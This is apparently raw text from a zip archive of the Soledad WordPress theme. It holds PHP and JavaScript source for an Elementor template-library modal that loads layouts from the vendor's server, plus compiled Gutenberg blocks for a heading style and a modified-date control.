                    <div class="elementor-templates-modal__header__logo">
						<span class="elementor-templates-modal__header__logo__title">
							Penci Blocks/Templates
						</span>
                    </div>
                </div>

                <div class="elementor-templates-modal__header__menu-area">
                    <div id="elementor-penci-library-header-menu">
                        <div id="penci-tab-block"
                             class="elementor-component-tab elementor-template-library-menu-item elementor-active"
                             data-tab="block">Blocks
                        </div>
                        <div id="penci-tab-template"
                             class="elementor-component-tab elementor-template-library-menu-item" data-tab="template">
                            Templates
                        </div>
                    </div>
                </div>

                <div class="elementor-templates-modal__header__items-area">
                    <div class="elementor-templates-modal__header__close elementor-templates-modal__header__close--normal elementor-templates-modal__header__item">
                        <i class="eicon-close" aria-hidden="true"
                           title="<?php echo esc_html__( 'Close', 'penci' ); ?>"></i>

                        <span class="elementor-screen-only">
							<?php echo esc_html__( 'Close', 'penci' ); ?>
						</span>
                    </div>
                </div>
            </div>
        </script>

        <script type="text/html" id="tmpl-elementor-penci-library-modal-order">
            <div id="elementor-template-library-filter">
                <select id="elementor-template-library-filter-subtype" class="elementor-template-library-filter-select"
                        data-elementor-filter="subtype">
                    <option value="all"><?php echo esc_html__( 'All', 'penci' ); ?></option>
                    <# data.tags.forEach(function(item, i) { #>
                    <option value="{{{item.slug}}}">{{{item.title}}}</option>
                    <# }); #>
                </select>
            </div>
        </script>

        <script type="text/template" id="tmpl-elementor-penci-library-header-menu">
            <# jQuery.each( tabs, ( tab, args ) => { #>
            <div class="elementor-component-tab elementor-template-library-menu-item" data-tab="{{{ tab }}}">{{{
                args.title }}}
            </div>
            <# } ); #>
        </script>

        <script type="text/html" id="tmpl-elementor-penci-library-modal">
            <div id="elementor-template-library-templates" data-template-source="remote">
                <div id="elementor-template-library-toolbar">
                    <div id="elementor-template-library-filter-toolbar-remote"
                         class="elementor-template-library-filter-toolbar"></div>

                    <div id="elementor-template-library-filter-text-wrapper">
                        <label for="elementor-template-library-filter-text"
                               class="elementor-screen-only"><?php echo esc_html__( 'Search Templates:', 'penci' ); ?></label>
                        <input id="elementor-template-library-filter-text"
                               placeholder="<?php echo esc_attr__( 'Search', 'penci' ); ?>">
                        <i class="eicon-search"></i>
                    </div>
                </div>

                <div id="elementor-template-library-templates-container"></div>

                <div id="elementor-template-library-footer-banner">
                    <img class="elementor-nerd-box-icon"
                         src="<?php echo get_bloginfo( 'url' ); ?>/wp-content/plugins/elementor/assets/images/information.svg">
                    <div class="elementor-excerpt">Stay tuned! More awesome templates coming real soon.</div>
                </div>
            </div>

            <div class="elementor-loader-wrapper" style="display: none">
                <div class="elementor-loader">
                    <div class="elementor-loader-boxes">
                        <div class="elementor-loader-box"></div>
                        <div class="elementor-loader-box"></div>
                        <div class="elementor-loader-box"></div>
                        <div class="elementor-loader-box"></div>
                    </div>
                </div>
                <div class="elementor-loading-title"><?php echo esc_html__( 'Loading', 'penci' ); ?></div>
            </div>
        </script>

        <script type="text/html" id="tmpl-elementor-penci-library-modal-item">
            <# data.elements.forEach(function(item, i) { #>

            <div class="elementor-template-library-template elementor-template-library-template-remote elementor-template-library-template-{{{item.type === 'template' ? 'page' : 'block'}}}"
                 data-slug="{{{item.slug}}}" data-tag="{{{item.class}}}" data-type="{{{item.type}}}">

                <div class="elementor-template-library-template-body">
                    <# if (item.type === 'block') { #>
                    <img src="{{{item.image}}}">
                    <# } else { #>
                    <div class="elementor-template-library-template-screenshot"
                         style="background-image: url({{{item.image}}})"></div>
                    <# } #>

                    <a class="elementor-template-library-template-preview" href="{{{item.link}}}" target="_blank">
                        <i class="eicon-zoom-in-bold" aria-hidden="true"></i>
                    </a>
                </div>

                <div class="elementor-template-library-template-footer">
                    <a class="elementor-template-library-template-action elementor-template-library-template-insert elementor-button"
                       data-id="{{{item.id}}}">
                        <i class="eicon-file-download" aria-hidden="true"></i>
                        <span class="elementor-button-title">Insert</span>
                    </a>
                    <div class="penci-elementor-template-library-template-name">{{{item.title}}}</div>
                </div>
            </div>
            <# }); #>
        </script>
		<?php
	}
}
PK     1w\`'J  J  $  blocks/assets/js/blocks-templates.jsnu [        'use strict';

(($) => {
	if (typeof elementor === 'undefined' || typeof elementorCommon === 'undefined') {
		return;
	}

	elementor.on('preview:loaded', () => {
		let dialog = null;
		// Add Penci Template button
		let buttons = $('#tmpl-elementor-add-section');

		const text = buttons.text().replace(
			'<div class="elementor-add-section-drag-title',
			'<div class="elementor-add-section-area-button penci-library-modal-btn" title="Penci Templates">Penci Templates</div><div class="elementor-add-section-drag-title'
		);

		buttons.text(text);

		// Call modal.
		$(elementor.$previewContents[0].body).on('click', '.penci-library-modal-btn', () => {
			if (dialog) {
				dialog.show();
				return;
			}

			var modalOptions = {
				id: 'penci-library-modal',
				headerMessage: $('#tmpl-elementor-penci-library-modal-header').html(),
				message: $('#tmpl-elementor-penci-library-modal').html(),
				className: 'elementor-templates-modal',
				closeButton: true,
				draggable: false,
				hide: {
					onOutsideClick: true,
					onEscKeyPress: true
				},
				position: {
					my: 'center',
					at: 'center'
				}
			};
			dialog = elementorCommon.dialogsManager.createWidget('lightbox', modalOptions);
			dialog.show();

			loadTemplates();
		});

		// Load items.
		function loadTemplates() {
			showLoader();

			$.ajax({
				url: 'https://library.pencidesign.net/wp-json/penci-blocks/v1/templates',
				method: 'GET',
				dataType: 'json',
				success: function (response) {
					if (response && response.elements) {
						var itemTemplate = wp.template('elementor-penci-library-modal-item');
						var itemOrderTemplate = wp.template('elementor-penci-library-modal-order');

						$(itemTemplate(response)).appendTo($('#penci-library-modal #elementor-template-library-templates-container'));
						$(itemOrderTemplate(response)).appendTo($('#penci-library-modal #elementor-template-library-filter-toolbar-remote'));

						importTemplate();
						hideLoader();
					} else {
						$('<div class="penci-notice penci-error">The library can\'t be loaded from the server.</div>').appendTo($('#penci-library-modal #elementor-template-library-templates-container'));
						hideLoader();
					}
				},
				error: function () {
					$('<div class="penci-notice penci-error">The library can\'t be loaded from the server.</div>').appendTo($('#penci-library-modal #elementor-template-library-templates-container'));
					hideLoader();
				}
			});
		}

		function showLoader() {
			$('#penci-library-modal #elementor-template-library-templates').hide();
			$('#penci-library-modal .elementor-loader-wrapper').show();
		}

		function hideLoader() {
			$('#penci-library-modal #elementor-template-library-templates').show();
			$('#penci-library-modal .elementor-loader-wrapper').hide();
		}

		function activateUpdateButton() {
			$('#elementor-panel-saver-button-publish').toggleClass('elementor-disabled');
			$('#elementor-panel-saver-button-save-options').toggleClass('elementor-disabled');
		}

		function importTemplate() {
			$('#penci-library-modal .elementor-template-library-template-insert').on('click', function () {
				showLoader();

				$.ajax({
                    type: "POST",
                    dataType: "html",
                    url: ajaxurl,
                    data: {
						action: 'penci_import_library_template',
						source: 'penci',
						edit_mode: true,
						display: true,
						check_permissions: false,
						template_id: $(this).data('id'),
						with_page_settings: false
					},
					success: function success(res) {
						res = JSON.parse(res);
						if (res.data && res.data.content) {
							elementor.getPreviewView().addChildModel(res.data.content);
							dialog.hide();
							setTimeout(function () {
								hideLoader();
							}, 2000);
							activateUpdateButton();
						} else {
							$('<div class="penci-notice penci-error">The element can\'t be loaded from the server.</div>').prependTo($('#penci-library-modal #elementor-template-library-templates-container'));
							hideLoader();
						}
					},
					error: function () {
						$('<div class="penci-notice penci-error">The element can\'t be loaded from the server.</div>').prependTo($('#penci-library-modal #elementor-template-library-templates-container'));
						hideLoader();
					}
				});
			});

			$('#penci-library-modal .elementor-templates-modal__header__close').on('click', () => {
				dialog.hide();
				hideLoader();
			});

			$('#penci-library-modal #elementor-template-library-filter-text').on('keyup', function () {
				var search = $(this).val().toLowerCase();
				var activeTab = document.querySelector('#elementor-penci-library-header-menu .elementor-active').getAttribute('data-tab');

				$('#penci-library-modal').find('.elementor-template-library-template').each(function () {
					const $this = $(this);
					let slug = $this.data('slug');
					const type = $this.data('type');

					// Remove - from slug
					slug = slug.replaceAll('-', ' ');
					slug = slug.replaceAll('_', ' ');
					
					if (slug.includes(search) && type.includes(activeTab)) {
						$this.show();
					} else {
						$this.hide();
					}
				});
			});

			// Filter by tag
			$('#penci-library-modal #elementor-template-library-filter-subtype').on('change', function () {
				var tag = $(this).val();

				$('#penci-library-modal').find('.elementor-template-library-template').each(function () {
					var $this = $(this);

					const itemTags = $this.data('tag').toLowerCase();
					if ((itemTags.includes(tag) || tag === 'all') && itemTags.includes('block')) {
						$this.show();
					} else {
						$this.hide();
					}
				});
			});

			function setActiveTab (tab) {
				$('#penci-library-modal .elementor-template-library-menu-item').removeClass('elementor-active');
				const activeTab = $('#penci-tab-' + tab);
				activeTab.addClass('elementor-active');

				document.querySelectorAll('#penci-library-modal .elementor-template-library-template').forEach(e => {
					const type = e.getAttribute('data-type');
					e.style.display = type === tab ? 'block' : 'none';
					
					if (tab === 'template') {
						$('#elementor-template-library-filter').hide();
					} else {
						$('#elementor-template-library-filter').show();
					}
				});
			}

			setActiveTab('block');

			// Filter by type
			$('#penci-library-modal .elementor-template-library-menu-item').on('click', function () {
				setActiveTab($(this).data('tab'));
			});
		}
	});
})(jQuery);PK     1w\k~        blocks/blocks.phpnu [        <?php

require_once __DIR__ . '/class-penci-library-source.php';
require_once __DIR__ . '/class-penci-library.php';

add_action('init', function () {
    if (defined('ELEMENTOR_VERSION')) {
        new Penci_Library;
    }
});
PK     1w\6	  	  %  blocks/class-penci-library-source.phpnu [        <?php

class Penci_Library_Source extends Elementor\TemplateLibrary\Source_Base {
	public function get_id() {
		return 'penci';
	}

	public function get_title() {
		return esc_html__( 'Penci', 'soledad' );
	}

	public function register_data() {
	}

	public function get_items( $args = [] ) {
		return [];
	}

	public function get_item( $template_id ) {
		$templates = $this->get_items();

		return $templates[ $template_id ];
	}


	private function get_template_content( $template_id ) {
		$response = wp_remote_get( 'https://library.pencidesign.net/wp-json/penci-blocks/v1/templates?id=' . $template_id );

		if ( is_wp_error( $response ) || ! is_array( $response ) ) {
			return $response;
		}

		$data = json_decode( $response['body'], true );

		if ( is_object( $data ) && isset( $data->error ) ) {
			die( __( 'Error whilst getting template', 'soledad' ) );
		}

		return $data;
	}

	public function get_data( array $args, $context = 'display' ) {
		if ( 'update' === $context ) {
			$data = $args['data'];
		} else {
			$data = $this->get_template_content( $args['template_id'] );
			self::penci_templ_remove_placeholer( $data['content'] );
		}

		if ( empty( $data ) || empty( $data['content'] ) ) {
			throw new \Exception( 'Template does not have any content' );
		}

		$data['content'] = $this->replace_elements_ids( $data['content'] );
		$data['content'] = $this->process_export_import_content( $data['content'], 'on_import' );


		// After the upload complete, set the elementor upload state back to false
		//Plugin::$instance->uploads_manager->set_elementor_upload_state( false );

		return $data;
	}

	public static function penci_templ_remove_placeholer( &$array ) {
		foreach ( $array as $key => &$value ) {
			if ( is_array( $value ) ) {
				if ( isset( $value['image'] ) && strpos( $value['image']['url'], 'placeholder' ) !== false ) {
					$value['image'] = [
						'url' => ''
					];
				}
				self::penci_templ_remove_placeholer( $value );
			}
		}
	}

	public function save_item( $template_data ) {
		return new WP_Error( 'invalid_request', 'Cannot save template to a remote source' );
	}

	public function update_item( $new_data ) {
		return new WP_Error( 'invalid_request', 'Cannot update template to a remote source' );
	}

	public function delete_template( $template_id ) {
		return new WP_Error( 'invalid_request', 'Cannot delete template from a remote source' );
	}


	public function export_template( $template_id ) {
		return new WP_Error( 'invalid_request', 'Cannot export template from a remote source' );
	}
}
PK     1w\vu      block-editor/build/index.jsnu [        (()=>{"use strict";const e=window.React,t=window.wp.plugins,o=window.wp.i18n,d=window.wp.data,n=window.wp.editPost,i=window.wp.date,a=window.wp.components,r=()=>{const t=(0,i.getSettings)(),r=t.formats.date+" "+t.formats.time,{editedModified:s,currentModified:l,postStatus:u,postMeta:c}=(0,d.useSelect)((e=>({editedModified:e("core/editor").getEditedPostAttribute("modified"),currentModified:e("core/editor").getCurrentPostAttribute("modified"),postStatus:e("core/editor").getEditedPostAttribute("status"),postMeta:e("core/editor").getEditedPostAttribute("meta")}))),{editPost:m}=(0,d.useDispatch)("core/editor");return["auto-draft","future"].includes(u)?null:(0,e.createElement)(n.PluginPostStatusInfo,null,"yes"==c?._lmt_disableupdate?(0,e.createElement)(e.Fragment,null,(0,e.createElement)("span",null,(0,o.__)("Last Modified","soledad")),(0,e.createElement)("b",null,(0,i.dateI18n)(r,s))):(0,e.createElement)(e.Fragment,null,(0,e.createElement)("span",null,(0,o.__)("Modified","soledad")),(0,e.createElement)(a.Dropdown,{position:"bottom left",contentClassName:"edit-post-post-schedule__dialog",renderToggle:({onToggle:t,isOpen:o})=>(0,e.createElement)(a.Button,{className:"edit-post-post-schedule__toggle",variant:"tertiary",onClick:t,"aria-expanded":o},(0,i.dateI18n)(r,s)),renderContent:()=>{return(0,e.createElement)(a.DateTimePicker,{currentDate:s,onChange:e=>{m({modified:e})},is12Hour:(o=t.formats.time,/(?:^|[^\\])[aAgh]/.test(o)),__nextRemoveResetButton:!0});var o}})))},s=()=>{const{postStatus:t,postMeta:i}=(0,d.useSelect)((e=>({postStatus:e("core/editor").getEditedPostAttribute("status"),postMeta:e("core/editor").getEditedPostAttribute("meta")}))),{editPost:r}=(0,d.useDispatch)("core/editor");return["auto-draft","future"].includes(t)?null:(0,e.createElement)(n.PluginPostStatusInfo,null,(0,e.createElement)(a.CheckboxControl,{label:(0,o.__)("Freeze modified date","soledad"),checked:"yes"==i?._lmt_disableupdate,onChange:()=>r({meta:{_lmt_disableupdate:"yes"==i?._lmt_disableupdate?"no":"yes"}})}))};(0,t.registerPlugin)("soledad-modified-info",{render:()=>(0,e.createElement)(e.Fragment,null,(0,e.createElement)(r,null),(0,e.createElement)(s,null)),icon:null})})();PK     1w\q<      "  block-editor/build/index.asset.phpnu [        <?php return array('dependencies' => array('react', 'wp-components', 'wp-data', 'wp-date', 'wp-edit-post', 'wp-i18n', 'wp-plugins'), 'version' => '209df52490735d8b88f5');
PK     1w\tfhD  hD  #  block/heading-styles/build/index.jsnu [        /******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/******/ 	var __webpack_modules__ = ({

/***/ "./src/edit.js":
/*!*********************!*\
  !*** ./src/edit.js ***!
  \*********************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   "default": () => (/* binding */ Edit)
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @wordpress/i18n */ "@wordpress/i18n");
/* harmony import */ var _wordpress_i18n__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _wordpress_block_editor__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! @wordpress/block-editor */ "@wordpress/block-editor");
/* harmony import */ var _wordpress_block_editor__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_wordpress_block_editor__WEBPACK_IMPORTED_MODULE_2__);
/* harmony import */ var _wordpress_components__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! @wordpress/components */ "@wordpress/components");
/* harmony import */ var _wordpress_components__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__);

/**
 * Retrieves the translation of text.
 *
 * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-i18n/
 */


/**
 * Imports the InspectorControls component, which is used to wrap
 * the block's custom controls that will appear in in the Settings
 * Sidebar when the block is selected.
 *
 * Also imports the React hook that is used to mark the block wrapper
 * element. It provides all the necessary props like the class name.
 *
 * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-block-editor/#inspectorcontrols
 * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-block-editor/#useblockprops
 */


/**
 * Imports the necessary components that will be used to create
 * the user interface for the block's settings.
 *
 * @see https://developer.wordpress.org/block-editor/reference-guides/components/panel/#panelbody
 * @see https://developer.wordpress.org/block-editor/reference-guides/components/text-control/
 * @see https://developer.wordpress.org/block-editor/reference-guides/components/toggle-control/
 */

/**
 * Imports the useEffect React Hook. This is used to set an attribute when the
 * block is loaded in the Editor.
 *
 * @see https://react.dev/reference/react/useEffect
 */


/**
 * The edit function describes the structure of your block in the context of the
 * editor. This represents what the editor will render when the block is used.
 *
 * @see https://developer.wordpress.org/block-editor/reference-guides/block-api/block-edit-save/#edit
 *
 * @param {Object}   props               Properties passed to the function.
 * @param {Object}   props.attributes    Available block attributes.
 * @param {Function} props.setAttributes Function that updates individual attributes.
 *
 * @return {Element} Element to render.
 */
function Edit({
  attributes,
  setAttributes
}) {
  const {
    headingText,
    headingStyle,
    headingTag,
    accentColor,
    borderColor
  } = attributes;
  (0,react__WEBPACK_IMPORTED_MODULE_0__.useEffect)(() => {
    if (!headingText) {
      setAttributes({
        headingText: 'This is a heading title'
      });
    }
  }, [headingText, setAttributes]);
  let vp = headingTag;
  if (!vp || vp == 'undefined' || vp === undefined) {
    vp = 1;
  }
  const HeadingTagL = `h${vp}`;
  const cStyle = {
    '--pcborder-cl': borderColor,
    '--pcaccent-cl': accentColor
  };
  return (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(react__WEBPACK_IMPORTED_MODULE_0__.Fragment, null, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_block_editor__WEBPACK_IMPORTED_MODULE_2__.InspectorControls, null, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.PanelBody, {
    title: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__.__)('Settings', 'soledad')
  }, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.SelectControl, {
    label: "Heading Tag",
    value: headingTag,
    options: [{
      label: 'H1',
      value: '1'
    }, {
      label: 'H2',
      value: '2'
    }, {
      label: 'H3',
      value: '3'
    }, {
      label: 'H4',
      value: '4'
    }, {
      label: 'H5',
      value: '5'
    }, {
      label: 'H6',
      value: '6'
    }],
    onChange: headingNewTag => setAttributes({
      headingTag: headingNewTag
    }),
    __nextHasNoMarginBottom: true
  }), (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.SelectControl, {
    label: "Style",
    value: headingStyle,
    options: [{
      label: 'Style 1',
      value: 'style-1'
    }, {
      label: 'Style 2',
      value: 'style-2'
    }, {
      label: 'Style 3',
      value: 'style-3'
    }, {
      label: 'Style 4',
      value: 'style-4'
    }, {
      label: 'Style 5',
      value: 'style-5'
    }, {
      label: 'Style 6',
      value: 'style-6'
    }],
    onChange: headingNewStyle => setAttributes({
      headingStyle: headingNewStyle
    }),
    __nextHasNoMarginBottom: true
  }), (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.TextControl, {
    label: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__.__)('Heading Title Text', 'soledad'),
    value: headingText,
    onChange: value => setAttributes({
      headingText: value
    })
  }))), (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_block_editor__WEBPACK_IMPORTED_MODULE_2__.InspectorControls, {
    group: "styles"
  }, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.PanelBody, {
    title: (0,_wordpress_i18n__WEBPACK_IMPORTED_MODULE_1__.__)('Heading Title Colors', 'soledad')
  }, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.__experimentalHeading, null, "Accent Color"), (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.ColorPicker, {
    color: accentColor,
    onChange: accentColorNew => setAttributes({
      accentColor: accentColorNew
    }),
    enableAlpha: true,
    defaultValue: ""
  }), (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.__experimentalHeading, null, "Border Color"), (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(_wordpress_components__WEBPACK_IMPORTED_MODULE_3__.ColorPicker, {
    color: borderColor,
    onChange: borderColorNew => setAttributes({
      borderColor: borderColorNew
    }),
    enableAlpha: true,
    defaultValue: ""
  }))), (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)("div", {
    className: `pchead-e-block pchead-e-${headingStyle} heading${vp}-${headingStyle}`
  }, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(HeadingTagL, {
    ...(0,_wordpress_block_editor__WEBPACK_IMPORTED_MODULE_2__.useBlockProps)({
      style: cStyle
    })
  }, headingText)));
}

/***/ }),

/***/ "./src/save.js":
/*!*********************!*\
  !*** ./src/save.js ***!
  \*********************/
/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {

__webpack_require__.r(__webpack_exports__);
/* harmony export */ __webpack_require__.d(__webpack_exports__, {
/* harmony export */   "default": () => (/* binding */ save)
/* harmony export */ });
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _wordpress_block_editor__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @wordpress/block-editor */ "@wordpress/block-editor");
/* harmony import */ var _wordpress_block_editor__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_wordpress_block_editor__WEBPACK_IMPORTED_MODULE_1__);

/**
 * React hook that is used to mark the block wrapper element.
 * It provides all the necessary props like the class name.
 *
 * @see https://developer.wordpress.org/block-editor/reference-guides/packages/packages-block-editor/#useblockprops
 */


/**
 * The save function defines the way in which the different attributes should
 * be combined into the final markup, which is then serialized by the block
 * editor into `post_content`.
 *
 * @see https://developer.wordpress.org/block-editor/reference-guides/block-api/block-edit-save/#save
 *
 * @param {Object} props            Properties passed to the function.
 * @param {Object} props.attributes Available block attributes.
 *
 * @return {Element} Element to render.
 */
function save({
  attributes
}) {
  const {
    headingStyle,
    headingTag,
    headingText,
    accentColor,
    borderColor
  } = attributes;

  // If there is no fallbackCurrentYear, which could happen if the block
  // is loaded from a template/pattern, return null. In this case, block
  // rendering will be handled by the render.php file.
  let displayDate;
  if (!headingText) {
    displayDate = 'This is a heading title';
  } else {
    displayDate = headingText;
  }
  const HeadingTagL = `h${headingTag}`;
  return (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)("div", {
    className: `pchead-e-block pchead-e-${headingStyle} heading${headingTag}-${headingStyle}`
  }, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)(HeadingTagL, {
    ..._wordpress_block_editor__WEBPACK_IMPORTED_MODULE_1__.useBlockProps.save()
  }, displayDate));
}

/***/ }),

/***/ "react":
/*!************************!*\
  !*** external "React" ***!
  \************************/
/***/ ((module) => {

module.exports = window["React"];

/***/ }),

/***/ "@wordpress/block-editor":
/*!*************************************!*\
  !*** external ["wp","blockEditor"] ***!
  \*************************************/
/***/ ((module) => {

module.exports = window["wp"]["blockEditor"];

/***/ }),

/***/ "@wordpress/blocks":
/*!********************************!*\
  !*** external ["wp","blocks"] ***!
  \********************************/
/***/ ((module) => {

module.exports = window["wp"]["blocks"];

/***/ }),

/***/ "@wordpress/components":
/*!************************************!*\
  !*** external ["wp","components"] ***!
  \************************************/
/***/ ((module) => {

module.exports = window["wp"]["components"];

/***/ }),

/***/ "@wordpress/i18n":
/*!******************************!*\
  !*** external ["wp","i18n"] ***!
  \******************************/
/***/ ((module) => {

module.exports = window["wp"]["i18n"];

/***/ }),

/***/ "./src/block.json":
/*!************************!*\
  !*** ./src/block.json ***!
  \************************/
/***/ ((module) => {

module.exports = JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"block/soledad","version":"1.0","title":"Penci Heading Title","category":"widgets","description":"Display heading title with various styles.","example":{},"attributes":{"headingTag":{"type":"string"},"headingStyle":{"type":"string"},"headingText":{"type":"string"},"accentColor":{"type":"string"},"borderColor":{"type":"string"}},"supports":{"color":{"background":false,"text":true},"html":true,"typography":{"fontSize":true}},"textdomain":"soledad","editorScript":"file:./index.js","editorStyle":"file:./style.css","style":"file:./style.css","render":"file:./render.php"}');

/***/ })

/******/ 	});
/************************************************************************/
/******/ 	// The module cache
/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
/******/ 		if (cachedModule !== undefined) {
/******/ 			return cachedModule.exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	(() => {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__webpack_require__.n = (module) => {
/******/ 			var getter = module && module.__esModule ?
/******/ 				() => (module['default']) :
/******/ 				() => (module);
/******/ 			__webpack_require__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// This entry need to be wrapped in an IIFE because it need to be isolated against other modules in the chunk.
(() => {
/*!**********************!*\
  !*** ./src/index.js ***!
  \**********************/
__webpack_require__.r(__webpack_exports__);
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! react */ "react");
/* harmony import */ var react__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(react__WEBPACK_IMPORTED_MODULE_0__);
/* harmony import */ var _wordpress_blocks__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! @wordpress/blocks */ "@wordpress/blocks");
/* harmony import */ var _wordpress_blocks__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_wordpress_blocks__WEBPACK_IMPORTED_MODULE_1__);
/* harmony import */ var _edit__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./edit */ "./src/edit.js");
/* harmony import */ var _save__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./save */ "./src/save.js");
/* harmony import */ var _block_json__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./block.json */ "./src/block.json");

/**
 * Registers a new block provided a unique name and an object defining its behavior.
 *
 * @see https://developer.wordpress.org/block-editor/developers/block-api/#registering-a-block
 */


/**
 * Internal dependencies
 */




/**
 * Define a custom SVG icon for the block. This icon will appear in
 * the Inserter and when the user selects the block in the Editor.
 */
const calendarIcon = (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)("svg", {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  "aria-hidden": "true",
  focusable: "false"
}, (0,react__WEBPACK_IMPORTED_MODULE_0__.createElement)("path", {
  d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7h15v12zM9 10H7v2h2v-2zm0 4H7v2h2v-2zm4-4h-2v2h2v-2zm4 0h-2v2h2v-2zm-4 4h-2v2h2v-2zm4 0h-2v2h2v-2z"
}));

/**
 * Every block starts by registering a new block type definition.
 *
 * @see https://developer.wordpress.org/block-editor/developers/block-api/#registering-a-block
 */
(0,_wordpress_blocks__WEBPACK_IMPORTED_MODULE_1__.registerBlockType)(_block_json__WEBPACK_IMPORTED_MODULE_4__.name, {
  icon: calendarIcon,
  /**
   * @see ./edit.js
   */
  edit: _edit__WEBPACK_IMPORTED_MODULE_2__["default"],
  /**
   * @see ./save.js
   */
  save: _save__WEBPACK_IMPORTED_MODULE_3__["default"]
});
})();
